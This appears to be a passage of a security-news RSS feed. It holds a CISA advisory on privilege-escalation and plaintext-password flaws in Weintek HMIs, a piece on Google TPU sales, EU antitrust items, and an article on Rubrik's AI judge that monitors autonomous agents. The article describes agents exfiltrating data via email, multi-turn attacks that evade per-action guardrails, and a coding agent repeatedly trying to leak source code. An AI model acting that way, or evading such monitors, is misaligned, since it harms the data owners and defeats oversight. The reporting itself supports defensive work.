<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google has started selling TPUs, but still keeps most for itself]]></title>
<description><![CDATA[Some lucky customers took delivery of their own Tensor Processing Units (TPUs), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.



The disclosure comes at a time when ente...]]></description>
<link>https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</guid>
<pubDate>Thu, 23 Jul 2026 20:13:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Some lucky customers took delivery of their own Tensor Processing Units (<a href="https://www.networkworld.com/article/4093957/what-are-tpus-your-guide-to-tensor-processing-units-and-ai-acceleration.html">TPU</a>s), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.</p>



<p class="wp-block-paragraph">The disclosure comes at a time when enterprises are grappling with a global shortage of high-end GPUs that is driving up costs and slowing AI deployment timelines, and even <a href="https://techcrunch.com/2025/11/03/altman-and-nadella-need-more-power-for-ai-but-theyre-not-sure-how-much/" target="_blank" rel="noreferrer noopener">those who have GPUs don’t always have electricity to operate them</a>.</p>



<p class="wp-block-paragraph">“We delivered to customer data centers for the first time in Q2,” said <a href="https://www.linkedin.com/in/anat-a-a334433/" target="_blank" rel="noreferrer noopener">Anat Ashkenazi</a>, CFO of Google’s parent Alphabet, adding that the company had begun to recognize a small amount of revenue from TPU orders, although it expected to recognize more in 2027.</p>



<p class="wp-block-paragraph">Ashkenazi did not name the customers or describe the commercial arrangements, leaving open questions about whether the systems are being deployed by large enterprises, governments, sovereign AI initiatives, or other cloud providers.</p>



<p class="wp-block-paragraph">Until recently, Google’s TPU strategy centered on giving customers access to the chips through Google Cloud, while using the same silicon internally to power its own AI models and services. But during the company’s last earnings call in April, just days after it <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">released two new TPU models</a>, CEO <a href="https://blog.google/authors/sundar-pichai/" target="_blank" rel="noreferrer noopener">Sundar Pichai</a> said Google would consider selling TPUs to AI labs, capital markets firms, and high-performance computing applications.</p>



<p class="wp-block-paragraph">On Wednesday’s call, Pichai said Google will scale up TPU sales “based on the opportunities we see and the demand we see, commensurate with the constraints that exist and the allocation needs we have for frontier model development.”</p>



<p class="wp-block-paragraph">But Google is still keeping the bulk of its TPUs for itself, either for internal use or to rent out through Google Cloud Platform.</p>



<p class="wp-block-paragraph">“Our first priority is making sure we are allocating what we need to compete at the frontier in terms of AGI development,” Pichai said on Wednesday’s call. “We are using both TPUs and GPUs mainly for serving our models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU Fines Google $1 Billion for Prioritizing Its Own Services in Search]]></title>
<description><![CDATA[The European Commission claims that Google boosted its own apps and products to the top of search rankings to the detriment of its competitors.]]></description>
<link>https://tsecurity.de/de/3689739/it-nachrichten/the-eu-fines-google-1-billion-for-prioritizing-its-own-services-in-search/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689739/it-nachrichten/the-eu-fines-google-1-billion-for-prioritizing-its-own-services-in-search/</guid>
<pubDate>Thu, 23 Jul 2026 18:53:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Commission claims that Google boosted its own apps and products to the top of search rankings to the detriment of its competitors.]]></content:encoded>
</item>
<item>
<title><![CDATA[Unfairer Wettbewerb: EU-Kommission verhängt 890-Millionen-Euro-Strafe gegen Google]]></title>
